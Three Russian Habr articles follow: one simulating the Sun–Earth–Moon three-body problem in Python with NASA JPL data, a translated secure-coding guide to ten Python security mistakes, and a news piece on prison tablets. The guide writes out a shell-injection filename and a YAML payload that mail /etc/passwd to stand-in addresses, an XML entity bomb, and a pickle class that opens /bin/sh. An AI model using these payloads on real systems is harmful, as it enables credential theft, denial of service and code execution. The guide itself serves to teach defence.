Z-axis : perpendicular to the xy-plane in the directional (+ or -) sense
of Earth's north pole at the reference epoch.

Symbol meaning [1 au= 149597870.700 km, 1 day= 86400.0 s]:

JDTDB Julian Day Number, Barycentric Dynamical Time
X X-component of position vector (au)
Y Y-component of position vector (au)
Z Z-component of position vector (au)
VX X-component of velocity vector (au/day)
VY Y-component of velocity vector (au/day)
VZ Z-component of velocity vector (au/day)
LT One-way down-leg Newtonian light-time (day)
RG Range; distance from coordinate center (au)
RR Range-rate; radial velocity wrt coord. center (au/day)

Geometric states/elements have no aberrations applied.

Computations by ...
Solar System Dynamics Group, Horizons On-Line Ephemeris System
4800 Oak Grove Drive, Jet Propulsion Laboratory
Pasadena, CA 91109 USA
Information: http://ssd.jpl.nasa.gov/
Connect : telnet://ssd.jpl.nasa.gov:6775 (via browser)
http://ssd.jpl.nasa.gov/?horizons
telnet ssd.jpl.nasa.gov 6775 (via command-line)
Author : Jon.D.Giorgini@jpl.nasa.gov
*******************************************************************************

Здесь в качестве начала координат выбран барицентр (центр масс) Солнечной системы. Интересующие нас данные

$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 5.755663665315949E-01 Y =-8.298818915224488E-01 Z =-5.366994499016168E-05
VX= 1.388633512282171E-02 VY= 9.678934168415631E-03 VZ= 3.429889230737491E-07
LT= 5.832932117417083E-03 RG= 1.009940888883960E+00 RR=-3.947237246302148E-05
$$EOE

Для Луны нам понадобятся координаты и скорость относительно барицентра Солнечной системы, мы можем их посчитать, а можем попросит NASA дать нам такие данные

Полный вывод эфемерид Луны на 27.07.2018 20:21 (начало координат в центре масс Солнечной системы)

*******************************************************************************
Revised: Jul 31, 2013 Moon / (Earth) 301

GEOPHYSICAL DATA (updated 2018-Aug-13):
Vol. Mean Radius, km = 1737.53+-0.03 Mass, x10^22 kg = 7.349
Radius (gravity), km = 1738.0 Surface emissivity = 0.92
Radius (IAU), km = 1737.4 GM, km^3/s^2 = 4902.800066
Density, g/cm^3 = 3.3437 GM 1-sigma, km^3/s^2 = +-0.0001
V(1,0) = +0.21 Surface accel., m/s^2 = 1.62
Earth/Moon mass ratio = 81.3005690769 Farside crust. thick. = ~80 - 90 km
Mean crustal density = 2.97+-.07 g/cm^3 Nearside crust. thick.= 58+-8 km
Heat flow, Apollo 15 = 3.1+-.6 mW/m^2 k2 = 0.024059
Heat flow, Apollo 17 = 2.2+-.5 mW/m^2 Rot. Rate, rad/s = 0.0000026617
Geometric Albedo = 0.12

Mean angular diameter = 31'05.2" Orbit period = 27.321582 d
Obliquity to orbit = 6.67 deg Eccentricity = 0.05490
Semi-major axis, a = 384400 km Inclination = 5.145 deg
Mean motion, rad/s = 2.6616995x10^-6 Nodal period = 6798.38 d
Apsidal period = 3231.50 d Mom. of inertia C/MR^2= 0.393142
beta (C-A/B), x10^-4 = 6.310213 gamma (B-A/C), x10^-4 = 2.277317

Perihelion Aphelion Mean
Solar Constant (W/m^2) 1414+-7 1323+-7 1368+-7
Maximum Planetary IR (W/m^2) 1314 1226 1268
Minimum Planetary IR (W/m^2) 5.2 5.2 5.2
*******************************************************************************

*******************************************************************************
Ephemeris / WWW_USER Wed Aug 15 21:19:24 2018 Pasadena, USA / Horizons
*******************************************************************************
Target body name: Moon (301) {source: DE431mx}
Center body name: Solar System Barycenter (0) {source: DE431mx}
Center-site name: BODY CENTER
*******************************************************************************
Start time : A.D. 2018-Jul-27 20:21:00.0003 TDB
Stop time : A.D. 2018-Jul-28 20:21:00.0003 TDB
Step-size : 0 steps
*******************************************************************************
Center geodetic : 0.00000000,0.00000000,0.0000000 {E-lon(deg),Lat(deg),Alt(km)}
Center cylindric: 0.00000000,0.00000000,0.0000000 {E-lon(deg),Dxy(km),Dz(km)}
Center radii : (undefined)
Output units : AU-D
Output type : GEOMETRIC cartesian states
Output format : 3 (position, velocity, LT, range, range-rate)
Reference frame : ICRF/J2000.0
Coordinate systm: Ecliptic and Mean Equinox of Reference Epoch
*******************************************************************************
JDTDB
X Y Z
VX VY VZ
LT RG RR
*******************************************************************************
$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 5.771034756256845E-01 Y =-8.321193799697072E-01 Z =-4.855790760378579E-05
VX= 1.434571674368357E-02 VY= 9.997686898668805E-03 VZ=-5.149408819470315E-05
LT= 5.848610189172283E-03 RG= 1.012655462859054E+00 RR=-3.979984423450087E-05
$$EOE
*******************************************************************************
Coordinate system description:

Ecliptic and Mean Equinox of Reference Epoch

Reference epoch: J2000.0
XY-plane: plane of the Earth's orbit at the reference epoch
Note: obliquity of 84381.448 arcseconds wrt ICRF equator (IAU76)
X-axis : out along ascending node of instantaneous plane of the Earth's
orbit and the Earth's mean equator at the reference epoch
Z-axis : perpendicular to the xy-plane in the directional (+ or -) sense
of Earth's north pole at the reference epoch.

Symbol meaning [1 au= 149597870.700 km, 1 day= 86400.0 s]:

JDTDB Julian Day Number, Barycentric Dynamical Time
X X-component of position vector (au)
Y Y-component of position vector (au)
Z Z-component of position vector (au)
VX X-component of velocity vector (au/day)
VY Y-component of velocity vector (au/day)
VZ Z-component of velocity vector (au/day)
LT One-way down-leg Newtonian light-time (day)
RG Range; distance from coordinate center (au)
RR Range-rate; radial velocity wrt coord. center (au/day)

Geometric states/elements have no aberrations applied.

Computations by ...
Solar System Dynamics Group, Horizons On-Line Ephemeris System
4800 Oak Grove Drive, Jet Propulsion Laboratory
Pasadena, CA 91109 USA
Information: http://ssd.jpl.nasa.gov/
Connect : telnet://ssd.jpl.nasa.gov:6775 (via browser)
http://ssd.jpl.nasa.gov/?horizons
telnet ssd.jpl.nasa.gov 6775 (via command-line)
Author : Jon.D.Giorgini@jpl.nasa.gov
*******************************************************************************

$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 5.771034756256845E-01 Y =-8.321193799697072E-01 Z =-4.855790760378579E-05
VX= 1.434571674368357E-02 VY= 9.997686898668805E-03 VZ=-5.149408819470315E-05
LT= 5.848610189172283E-03 RG= 1.012655462859054E+00 RR=-3.979984423450087E-05
$$EOE

Чудесно! Теперь необходимо слегка обработать полученные данные напильником.

6. 38 попугаев и одно попугайское крылышко

Для начала определимся с масштабом, ведь наши уравнения движения (5) записаны в безразмерной форме. Данные, предоставленные NASA сами подсказывают нам, что за масштаб координат стоит взять одну астрономическую единицу. Соответственно в качестве эталонного тела, к которому мы будем нормировать массы других тел мы возьмем Солнце, а в качестве масштаба времени — период обращения Земли вокруг Солнца.

Все это конечно очень хорошо, но мы не задали начальные условия для Солнца. «Зачем?» — спросил бы меня какой-нибудь лингвист. А я бы ответил, что Солнце отнюдь не неподвижно, а тоже вращается по своей орбите вокруг центра масс Солнечной системы. В этом можно убедится, взглянув на данные NASA для Солнца

$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 6.520050993518213E+04 Y = 1.049687363172734E+06 Z =-1.304404963058507E+04
VX=-1.265326939350981E-02 VY= 5.853475278436883E-03 VZ= 3.136673455633667E-04
LT= 3.508397935601254E+00 RG= 1.051791240756026E+06 RR= 5.053500842402456E-03
$$EOE

Взглянув на параметр RG мы увидим, что Солнце вращается вокруг барицентра Солнечной системы, и на 27.07.2018 центр звезды находится от него на расстоянии в миллион километров. Радиус Солнца, для справки — 696 тысяч километров. То есть барицентр Солнечной системы лежит в полумиллионе километров от поверхности светила. Почему? Да потому что все остальные тела, взаимодействующие с Солнцем так же сообщают ему ускорение, главным образом, конечно тяжеленький Юпитер. Соответственно у Солнца тоже есть своя орбита.

Мы конечно можем выбрать эти данные в качестве начальных условий, но нет — мы же решаем модельную задачу трех тел, и Юпитер и прочие персонажи в неё не входят. Так что в ущерб реализму, зная положение и скорости Земли и Луны мы пересчитаем начальные условия для Солнца, так, чтобы центр масс системы Солнце — Земля — Луна находился в начале координат. Для центра масс нашей механической системы справедливо уравнение

$(m_1 + m_2 + m_3) \, \vec r_C = m_1 \, \vec r_1 + m_2 \, \vec r_2 + m_3 \, \vec r_3$

Поместим центр масс в начало координат, то есть зададимся

$\vec r_C = 0$

, тогда

$m_1 \, \vec r_1 + m_2 \, \vec r_2 + m_3 \, \vec r_3 = 0$

откуда

$\begin{align} & m_3 \, \vec r_3 = -m_1 \, \vec r_1 - m_2 \, \vec r_2 \\ & \vec r_3 = - \frac{m_1}{m_3} \vec r_1 - \frac{m_2}{m_3} \, \vec r_2 \end{align} $

Перейдем к безразмерным координатам и параметрам, выбрав

$\mu = \mu_3$

$\vec \xi_3 = -\varkappa_1 \vec \xi_1 -\varkappa_2 \vec \xi_2\quad\quad(6)$

Дифференцируя (6) по времени и переходя к безразмерному времени получаем и соотношение для скоростей

$\vec u_3 = -\varkappa_1 \, \vec u_1 -\varkappa_2 \, \vec u_2$

где

$\vec u_i = \cfrac{d\vec \xi_i}{d\tau}, \forall i=\overline{1,3}$

Теперь напишем программу, которая сформирует начальные условия в выбранных нами «попугаях». На чем будем писать? Конечно же на Питоне! Ведь, как известно, это самый лучший язык для математического моделирования.

Однако, если уйти от сарказма, то мы действительно попробуем для этой цели питон, а почему нет? Я обязательно приведу ссылку на весь код в моем профиле Github.

Расчет начальных условий для системы Луна — Земля — Солнце

# # Исходные данные задачи #  # Гравитационная постоянная G = 6.67e-11  # Массы тел (Луна, Земля, Солнце) m = [7.349e22, 5.792e24, 1.989e30]  # Расчитываем гравитационные параметры тел mu = []  print("Гравитационные параметры тел")  for i, mass in enumerate(m):     mu.append(G * mass)     print("mu[" + str(i) + "] = " + str(mu[i]))  # Нормируем гравитационные параметры к Солнцу kappa = []  print("Нормированные гравитационные параметры")  for i, gp in enumerate(mu):     kappa.append(gp / mu[2])     print("xi[" + str(i) + "] = " + str(kappa[i]))  print("\n")  # Астрономическая единица a = 1.495978707e11  import math  # Масштаб безразмерного времени, c T = 2 * math.pi * a * math.sqrt(a / mu[2])  print("Масштаб времени T = " + str(T) + "\n")  # Координаты NASA для Луны xL = 5.771034756256845E-01 yL = -8.321193799697072E-01 zL = -4.855790760378579E-05  import numpy as np  xi_10 = np.array([xL, yL, zL]) print("Начальное положение Луны, а.е.: " + str(xi_10))  # Координаты NASA для Земли xE = 5.755663665315949E-01 yE = -8.298818915224488E-01 zE = -5.366994499016168E-05  xi_20 = np.array([xE, yE, zE]) print("Начальное положение Земли, а.е.: " + str(xi_20))  # Расчитываем начальное положение Солнца, полагая что начало координат - в центре масс всей системы xi_30 = - kappa[0] * xi_10 - kappa[1] * xi_20 print("Начальное положение Солнца, а.е.: " + str(xi_30))  # Вводим константы для вычисления безразмерных скоростей Td = 86400.0 u = math.sqrt(mu[2] / a) / 2 / math.pi  print("\n")  # Начальная скорость Луны vxL = 1.434571674368357E-02 vyL = 9.997686898668805E-03 vzL = -5.149408819470315E-05  vL0 = np.array([vxL, vyL, vzL]) uL0 = np.array([0.0, 0.0, 0.0])  for i, v in enumerate(vL0):     vL0[i] = v * a / Td     uL0[i] = vL0[i] / u  print("Начальная скорость Луны, м/с: " + str(vL0)) print(" -//- безразмерная: " + str(uL0))  # Начальная скорость Земли vxE = 1.388633512282171E-02 vyE = 9.678934168415631E-03 vzE = 3.429889230737491E-07  vE0 = np.array([vxE, vyE, vzE]) uE0 = np.array([0.0, 0.0, 0.0])  for i, v in enumerate(vE0):     vE0[i] = v * a / Td     uE0[i] = vE0[i] / u  print("Начальная скорость Земли, м/с: " + str(vE0)) print(" -//- безразмерная: " + str(uE0))  # Начальная скорость Солнца vS0 = - kappa[0] * vL0 - kappa[1] * vE0 uS0 = - kappa[0] * uL0 - kappa[1] * uE0  print("Начальная скорость Солнца, м/с: " + str(vS0)) print(" -//- безразмерная: " + str(uS0)) 

Выхлоп программы
Гравитационные параметры тел
mu[0] = 4901783000000.0
mu[1] = 386326400000000.0
mu[2] = 1.326663e+20
Нормированные гравитационные параметры
xi[0] = 3.6948215183509304e-08
xi[1] = 2.912016088486677e-06
xi[2] = 1.0

Масштаб времени T = 31563683.35432583

Начальное положение Луны, а.е.: [ 5.77103476e-01 -8.32119380e-01 -4.85579076e-05]
Начальное положение Земли, а.е.: [ 5.75566367e-01 -8.29881892e-01 -5.36699450e-05]
Начальное положение Солнца, а.е.: [-1.69738146e-06 2.44737475e-06 1.58081871e-10]

Начальная скорость Луны, м/с: [24838.98933473 17310.56333294 -89.15979106]
-//- безразмерная: [ 5.24078311 3.65235907 -0.01881184]
Начальная скорость Земли, м/с: [2.40435899e+04 1.67586567e+04 5.93870516e-01]
-//- безразмерная: [5.07296163e+00 3.53591219e+00 1.25300854e-04]
Начальная скорость Солнца, м/с: [-7.09330769e-02 -4.94410725e-02 1.56493465e-06]
-//- безразмерная: [-1.49661835e-05 -1.04315813e-05 3.30185861e-10]

7. Интегрирование уравнений движения и анализ результатов

Собственно само интегрирование сводится к более-менее стандартной для SciPy процедуре подготовки системы уравнений: преобразованию системы ОДУ к форме Коши и вызову соответствующих функций для преобразования системы к форме Коши вспоминаем, что

$ \vec u_i = \frac{d\vec \xi_i}{d\tau}, \forall i=\overline{1,3}\quad\quad(7) $

Тогда введя вектор состояния системы

$\vec y = \left[\vec\xi_1, \vec\xi_2, \vec\xi_1, \vec u_1, \vec u_2, \vec u_3 \right]^T$

сводим (7) и (5) к одному векторному уравнению

$\frac{d\vec y}{d\tau} = \vec f(\tau, \vec y)\quad\quad(8)$

Для интегрирования (8) с имеющимися начальными условиями напишем немного, совсем немного кода

Интегрирования уравнений движения в задаче трех тел

# #   Вычисление векторов обобщенных ускорений # def calcAccels(xi):     k = 4 * math.pi ** 2      xi12 = xi[1] - xi[0]     xi13 = xi[2] - xi[0]     xi23 = xi[2] - xi[1]      s12 = math.sqrt(np.dot(xi12, xi12))     s13 = math.sqrt(np.dot(xi13, xi13))     s23 = math.sqrt(np.dot(xi23, xi23))      a1 = (k * kappa[1] / s12 ** 3) * xi12 + (k * kappa[2] / s13 ** 3) * xi13     a2 = -(k * kappa[0] / s12 ** 3) * xi12 + (k * kappa[2] / s23 ** 3) * xi23     a3 = -(k * kappa[0] / s13 ** 3) * xi13 - (k * kappa[1] / s23 ** 3) * xi23      return [a1, a2, a3]   # #   Система уравнений в нормальной форме Коши # def f(t, y):     n = 9      dydt = np.zeros((2 * n))      for i in range(0, n):         dydt[i] = y[i + n]      xi1 = np.array(y[0:3])     xi2 = np.array(y[3:6])     xi3 = np.array(y[6:9])      accels = calcAccels([xi1, xi2, xi3])      i = n     for accel in accels:         for a in accel:             dydt[i] = a             i = i + 1      return dydt  # Начальные условия задачи Коши y0 = [xi_10[0], xi_10[1], xi_10[2],       xi_20[0], xi_20[1], xi_20[2],       xi_30[0], xi_30[1], xi_30[2],       uL0[0], uL0[1], uL0[2],       uE0[0], uE0[1], uE0[2],       uS0[0], uS0[1], uS0[2]]  # # Интегрируем уравнения движения #  # Начальное время t_begin = 0 # Конечное время t_end = 30.7 * Td / T; # Интересующее нас число точек траектории N_plots = 1000 # Шаг времени между точкими step = (t_end - t_begin) / N_plots  import scipy.integrate as spi  solver = spi.ode(f)  solver.set_integrator('vode', nsteps=50000, method='bdf', max_step=1e-6, rtol=1e-12) solver.set_initial_value(y0, t_begin)  ts = [] ys = [] i = 0  while solver.successful() and solver.t <= t_end:     solver.integrate(solver.t + step)     ts.append(solver.t)     ys.append(solver.y)     print(ts[i], ys[i])     i = i + 1 

Посмотрим что у нас получилось. Получилась пространственная траектория Луны на первый 29 суток от выбранной нами начальной точки

а так же её проекция в плоскость эклиптики.

«Эй, дядя, что ты нам впариваешь?! Это же окружность!».

Во-первых, таки не окружность — заметно смещение проекции траектории от начала координат вправо и вниз. Во-вторых — ничего не замечаете? Не, ну правда?

Обещаю подготовить обоснование того (на основе анализа погрешностей счета и данных NASA), что полученное смещение траектории не есть следствие ошибок интегрирования. Пока предлагаю читателю поверить мне на слово — это смещение есть следствие солнечного возмущения лунной траектории. Крутанем-ка еще один оборот

Во как! Причем обратите внимание на то, что исходя из начальных данных задачи Солнце находится как раз в той стороне, куда смещается траектория Луны на каждом обороте. Да это наглое Солнце ворует у нас наш любимый спутник! Ох уж это Солнце!

Можно сделать вывод, что солнечная гравитация влияет на орбиту Луны достаточно существенно — старушка не ходит по небу дважды одним и тем же путём. Картинка за полгода движения позволяет (по крайней мере качественно) убедится в этом (картинка кликабельна)

image

Интересно? Ещё бы. Астрономия вообще наука занятная.

Постскриптум

В вузе, где я учился и работал без малого семь лет — Новочеркасском политехе — ежегодно проводилась зональная олимпиада студентов по теоретической механике вузов Северного Кавказа. Трижды мы принимали и Всероссийскую олимпиаду. На открытии, наш главный «олимпиец», профессор Кондратенко А.И., всегда говорил: «Академик Крылов называл механику поэзией точных наук».

Я люблю механику. Всё то хорошее, чего я добился в своей жизни и карьере произошло благодаря этой науке и моим замечательным учителям. Я уважаю механику.

Поэтому, я никогда не позволю издеваться над этой наукой и нагло эксплуатировать её в своих целях никому, будь он хоть трижды доктор наук и четырежды лингвист, и разработал хоть миллион учебных программ. Я искренне считаю, что написание статей на популярном публичном ресурсе должно предусматривать их тщательную вычитку, нормальное оформление (формулы LaTeX — это не блажь разработчиков ресурса!) и отсутствие ошибок, приводящих к результатам нарушающим законы природы. Последнее вообще «маст хэв».

Я часто говорю своим студентам: «компьютер освобождает ваши руки, но это не значит, что при этом нужно отключать и мозг».

Ценить и уважать механику я призываю и вас, мои уважаемые читатели. Охотно отвечу на любые вопросы, а исходный текст примера решения задачи трех тел на языке Python, как и обещал, выкладываю в своем профиле Github.

Спасибо за внимание!


ссылка на оригинал статьи https://habr.com/post/420133/

10 самых распространенных ошибок безопасности в Python и как их избежать

Всем привет!

Наша очередная группа по Python успешно запустилась в понедельник, но у нас остался ещё один материальчик, который мы не успели разместить до старта. Исправляем нашу оплошность и надеемся, что он вам понравится.

Поехали!

Писать защищенный код сложно. Когда вы изучаете язык, модуль или фреймворк, вы узнаете, как это предполагается использовать. Вам также нужно подумать о том, как их можно использовать неправильно в контексте безопасности. Python не является исключением, даже в документации стандартной библиотеки есть описание плохих практик написания защищенных приложений. Тем не менее, многие Python-разработчики просто не знают о них.

Вот мой топ-10 (в случайном порядке) самых распространенных ошибок в приложениях, написанных на Python.

1. Внедрение инъекций

Существует множество типов атак с внедрением кода и все они достаточно распространены. Они затрагивают все языки, фреймворки и окружения.

Внедрение SQL — это когда вы пишете SQL-запросы напрямую, а не с помощью ORM и смешиваете строковые литералы с переменными. Я прочитал много кода, где «экранирование кавычек» считается исправлением. Это не так. Вы можете ознакомиться со многими способами внедрения SQL в этой шпаргалке.

Внедрение команд — это когда в любое время вы вызываете процесс с помощью popen, subprocess, os.system и принимаете аргументы от переменных. При вызове локальных команд существует возможность того, что кто-то установит эти значения на что-то вредоносное.

Представьте себе этот простой скрипт [credit]. Вы вызываете подпроцесс с именем файла, предоставленным пользователем:

import subprocess def transcode_file(request, filename):    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)    subprocess.call(command, shell=True)  # a bad idea!

Злоумышленник устанавливает значение filename "; cat /etc/passwd | mail them@domain.com или что-то такое же опасное.

Решение:

Стерилизируйте ввод с помощью утилит, которые идут вместе с вашем веб-фреймворком, если используете какой-то. Если у вас нет веских причин, не создавайте SQL-запросы вручную. Большинство ORM имеют встроенные методы дезинфекции.

Для оболочки используйте модуль shlex, чтобы правильно экранировать ввод.

2.Парсинг XML

Если ваше приложение загружает и парсит XML-файлы, есть вероятность того, что вы используете один из стандартных библиотечных модулей XML. Существует несколько распространенных атак через XML. В основном в DoS-стиле (предназначенные для того, чтобы уронить систему, а не для фильтрации данных). Эти атаки являются достаточно распространенными, особенно если вы парсите внешние (т.е. те, которым нельзя доверять) XML-файлы.

Один из них называется “billion laughs” (дословно “миллиард смеха”) из-за полезной нагрузки, обычно содержащей много (миллиарды) «lol». В принципе, идея состоит в том, что вы можете делать ссылочные объекты в XML, поэтому, когда ваш непритязательный XML-парсер пытается загрузить этот файл в память, он потребляет гигабайты оперативной памяти. Попробуйте, если не верите мне 🙂

<?xml version="1.0"?> <!DOCTYPE lolz [  <!ENTITY lol "lol">  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

Другие атаки используют расширение внешней сущностью. XML поддерживает ссылки на сущности из внешних URL-адресов, парсер XML обычно запрашивает и загружает этот ресурс без каких-либо проблем. «Злоумышленник может обойти брандмауэры и получить доступ к ограниченным ресурсам, поскольку все запросы сделаны из внутреннего и надежного IP-адреса, а не извне».

Еще одна ситуация, которую стоит рассмотреть — это сторонние пакеты для декодирования XML, от которых вы зависите, такие как файлы конфигурации, удаленные API. Возможно, вы даже не подозреваете, что одна из ваших зависимостей открыта для таких типов атак.
Что же происходит в Python? Ну, стандартные библиотечные модули, etree, DOM, xmlrpc широко открыты для таких атак. Это хорошо документировано тут.

Решение:

Используйте defusedxml в качестве замены для стандартных модулей библиотеки. Он добавляет защитные меры против таких типов атак.

3. Инструкции Assert

Не используйте assert для защиты фрагментов кода, к которым пользователь не должен обращаться. Возьмем этот простой пример:

def foo(request, user):   assert user.is_admin, “user does not have access”   # secure code...

Сейчас по умолчанию Python выполняется с __debug__ равным true, но в боевом окружении он обычно запускается с оптимизацией. Инструкция assert будет пропущена и программа перейдет прямо к защищенному коду независимо от того, является ли пользователь is_admin или нет.

Решение:

Используйте инструкции assert только для взаимодействия с другими разработчиками, например, в модульных тестах или для защиты от неправильного использования API.

4. Временные атаки

Временные атаки — это, по сути, способ разоблачения поведения и алгоритма программы путем определения времени, необходимого для сравнения предоставленных значений. Временные атаки требуют точности, поэтому они обычно не работают в удаленной сети с высокой задержкой. Из-за переменной задержки, связанной с большинством веб-приложений, практически невозможно записать временную атаку через HTTP веб-серверы.
Но если у вас есть приложение командной строки, которое запрашивает пароль, злоумышленник может написать простой скрипт, чтобы вычислить сколько времени потребуется для сравнения их значений с фактическим паролем. Пример.

Если вы хотите увидеть, как они работают, есть несколько впечатляющих примеров, таких как эта временная атака на основе SSH, написанная на Python.

Решение:

Используйте secrets.compare_digest, введенный в Python 3.5 для сравнения паролей и других приватных значений.

5. Загрязнённый site-packages или путь импорта

В Python очень гибкая система импорта. Это здорово, когда вы пытаетесь написать monkey-патчи для своих тестов или перегружаете основные функции.

Но это одна из самых больших дыр в безопасности Python.

Установка сторонних пакетов в ваш site-packages, будь то в виртуальном окружении или глобальный site-packages (что обычно обескураживает), обеспечивает вам дыры в безопасности в этих пакетах.

Были случаи публикации пакетов PyPi с именами, похожими на имена популярных пакетов, но выполняющие произвольный код. Самое большое инцидент, к счастью, не был опасным и просто «поставил точку» в том, что на проблему не обращали внимания.

Другая ситуация, о которой нужно подумать, — это зависимости ваших зависимостей (и т. д.). Они могут включать уязвимости, и они также могут переопределять поведение по умолчанию в Python через систему импорта.

Решение:

Проверяйте ваши пакеты. Посмотрите на PyUp.io и на их службу безопасности. Используйте виртуальное окружение для всех приложений и убедитесь, что ваш глобальный site-packages максимально чистый. Проверьте подписи пакетов.

6. Временные файлы

Чтобы создать временные файлы в Python, вы обычно сначала генерируете имя файла, используя функцию mktemp(), а затем создаете файл с использованием сгененрированного имени. «Это небезопасно, потому что другой процесс может создать файл с таким же именем за время между вызовом mktemp() и последующей попыткой создать файл первым процессом». Это означает, что он может обмануть ваше приложение либо загружая неправильные данные, либо подвергая опасности другие временные данные.

Последние версии Python будут показывать runtime предупреждение, если вы вызываете неправильный метод.

Решение:

Используйте модуль tempfile и используйте mkstemp, если вам нужно создавать временные файлы.

7. Использование yaml.load

Цитируя документацию PyYAML:

Предупреждение. Небезопасно вызывать yaml.load с любыми данными, полученными от ненадежного источника! yaml.load так же эффективен, как pickle.load, и поэтому может вызывать любую функцию Python.

Этот прекрасный пример найден в популярном проекте Ansible. Вы можете отдать Ansible Vault значение в качестве (валидного) YAML. Он вызывает os.system() с аргументами, представленными в файле.

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

Таким образом, загружая файлы YAML из предоставленных пользователем значений вы широко открыты для атаки.

Демонстрация этого в действии, благодарю Anthony Sottile

Решение:

Используйте yaml.safe_load, почти всегда, если у вас нет действительно веской причины не делать этого.

8. Pickles

Десериализация консервированных данных — это так же плохо, как и YAML. Классы Python могут объявлять магический метод __reduce__, который возвращает строку, или кортеж с вызываемым, и передавать аргументы для вызова при консервации. Злоумышленник может использовать это для включения ссылок на один из модулей подпроцесса для запуска произвольных команд на хосте.

Этот замечательный пример показывает, как консервировать класс, который открывает оболочку на Python 2. Есть еще много примеров того, как использовать pickle.

import cPickle import subprocess import base64  class RunBinSh(object):  def __reduce__(self):    return (subprocess.Popen, (('/bin/sh',),))  print base64.b64encode(cPickle.dumps(RunBinSh()))

Решение:

Никогда не расконсервируйте данные из ненадежного или не прошедшего проверку источника. Вместо этого используйте другой шаблон сериализации, например JSON.

9. Использовать систему Python runtime и не патчить ее

Большинство POSIX-систем поставляются с версией Python 2. Естественно, уже устаревшей.

Поскольку «Python», то есть CPython написан на C, бывают случаи, когда интерпретатор Python сам имеет дыры. Общие проблемы безопасности в C связаны с распределением памяти, как и ошибки переполнения буфера.

На протяжении многих лет у CPython было несколько уязвимостей переполнения или переполнения, каждый из которых был исправлен и пофикшен в последующих релизах.
Так что вы в безопасности. Точнее, если вы устанавливаете патчи для вашего runtime.

Вот пример для версии 2.7.13 и ниже, уязвимость с переполнением целых чисел, которая позволяет выполнять код. Этот пример для любой Ubuntu до 17 версии без установленных патчей.

Решение:

Установите последнюю версию Python для ваших боевых приложений и все патчи!

10. Не устанавливать патчи для ваших зависимостей

Подобно тому, как вы «не устанавливаете» патчи для своего runtime, вам также необходимо регулярно устанавливать патчи для ваших зависимостей.

Я думаю, что практика «закрепления» версий пакетов Python от PyPi в пакетах ужасает. Идея заключается в том, что «это версии, которые работают», поэтому каждый оставляет ее в покое.

Все уязвимости в коде, о которых я упоминал выше, так же важны, когда они существуют в пакетах, которые использует ваше приложение. Разработчики этих пакетов исправляют проблемы безопасности. Все время.

Решение:

Используйте сервисы, такие как PyUp.io, чтобы проверять наличие обновлений, настроить запросы на загрузку/слияние в приложение и запустить тесты для обновления пакетов.
Используйте инструменты, например, InSpec, для проверки установленных версий в продакшен окружении и обеспечения исправления минимальных версий или диапазонов версий.

Вы пробовали Bandit?

Есть большой статический линтер, который найдет все эти проблемы в вашем коде и многое другое! Он называется bandit, просто pip install bandit и bandit ./codedir

PyCQA/bandit

Выражаю благодарность RedHat за эту замечательную статью, которую я использовал в некоторых своих исследованиях.

THE END!

Как всегда будем рады видеть ваши комментарии и вопросы 🙂


ссылка на оригинал статьи https://habr.com/post/420441/

«Бесплатные» планшеты для заключенных — вовсе не бесплатны


Планшет JPay. Источник изображения: JPay

Скачать музыкальный альбом — 46$. Послать электронное письмо — 47c. Видеочат с женой — 18$/час.

Безобразный скандал развернулся вокруг «бесплатных» планшетов для лишённых свободы: они оказались не только чрезмерно дорогой платной системой «для обучения и общения», но и ещё кое-чем.

На днях у спецконтингента в Колорадо внезапно отобрали выданные тюрьмой планшеты — безо всяких объяснений. 1 августа, спустя два года после того как Департамент исполнения наказаний Колорадо (Colorado Department of Corrections, CDOC) развернул свою чрезвычайно распиаренную программу, в рамках которой каждый арестант получал «в дар» iPad-оподобный девайс, инициативу резко и неожиданно свернули; всего изъяли около 18000 экземпляров, до этого распределённых между заключёнными в тюрьмах по всему штату. Неназываемый источник сообщил Denver Post, что это произошло вследствие «непредвиденных проблем с безопасностью».

Однако вскоре выяснилось, что согласно сообщению AP меньше чем за неделю до того, как штат Колорадо конфисковал планшеты, группа из 364 заключённых в Айдахо использовала «дыру» в защите устройств и перевела на счета своих аккаунтов около 225000$. Другой источник в Департаменте исполнения наказаний Айдахо рассказал The Outline, что после этого членов группы обвинили в «дисциплинарных нарушениях класса В» — поступках, чреватых переводом из исправительных учреждений с лёгким режимом туда, где режим безопасности средний. (CDOC заявил, что это никак не связано друг с другом, и отказался объяснять, из-за какой именно «проблемы безопасности» провели конфискацию).

Начиная с 2016 года провайдеры телекоммуникационных услуг в исправительных учреждениях вроде JPay и Global Tel Link раздали тысячи «бесплатных» планшетов заключенным в нескольких штатах, включая Нью-Йорк, Флориду, Миссури, Индиану, Коннектикут и Джорджию. В течение долгого времени этот шаг позиционировался как способ позволить лишённым свободы получить образование, подготовиться к возврату на рынок труда после окончания срока и общаться с близкими; однако вышеописанной путаница произошла прежде всего по экономическим причинам — и во многих случаях благое начинание стало не более чем фабрикой по выкачиванию денег для целой цепочки заинтересованных лиц, от властей до дистрибьюторов.

